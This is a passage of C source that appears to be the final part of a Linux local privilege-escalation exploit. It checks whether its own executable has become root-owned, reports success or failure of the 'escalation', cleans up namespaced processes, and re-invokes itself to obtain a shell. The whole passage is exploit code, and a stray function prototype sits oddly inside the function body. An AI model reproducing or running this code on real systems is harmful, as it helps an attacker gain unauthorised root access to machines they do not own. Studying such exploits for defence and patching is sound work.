struct stat statBuf;
int statResult=stat("/proc/self/exe", &statBuf);
int stat(const char *pathname, struct stat *buf);
if(statResult) {
fprintf(stderr, "Failed to stat /proc/self/exe: /proc not mounted, access restricted, executable deleted?\n");
break;
}
if(statBuf.st_uid==0) {
fprintf(stderr, "Executable now root-owned\n");
goto escalateOk;
}
}

fprintf(stderr, "Escalation FAILED, maybe target system not (yet) supported by exploit!\n");

preReturnCleanup:
if(namespacedProcessPid>0) {
if(killNamespacedProcessFlag) {
kill(namespacedProcessPid, SIGKILL);
} else {
// We used an existing namespace or chroot to escalate. Remove
// the files created there.
fprintf(stderr, "No namespace cleanup for preexisting namespaces yet, do it manually.\n");
}
}

if(!exitStatus) {
fprintf(stderr, "Cleanup completed, re-invoking binary\n");
invokeShell("/proc/self/exe");
exitStatus=1;
}
return(exitStatus);

escalateOk:
exitStatus=0;
goto preReturnCleanup;
}

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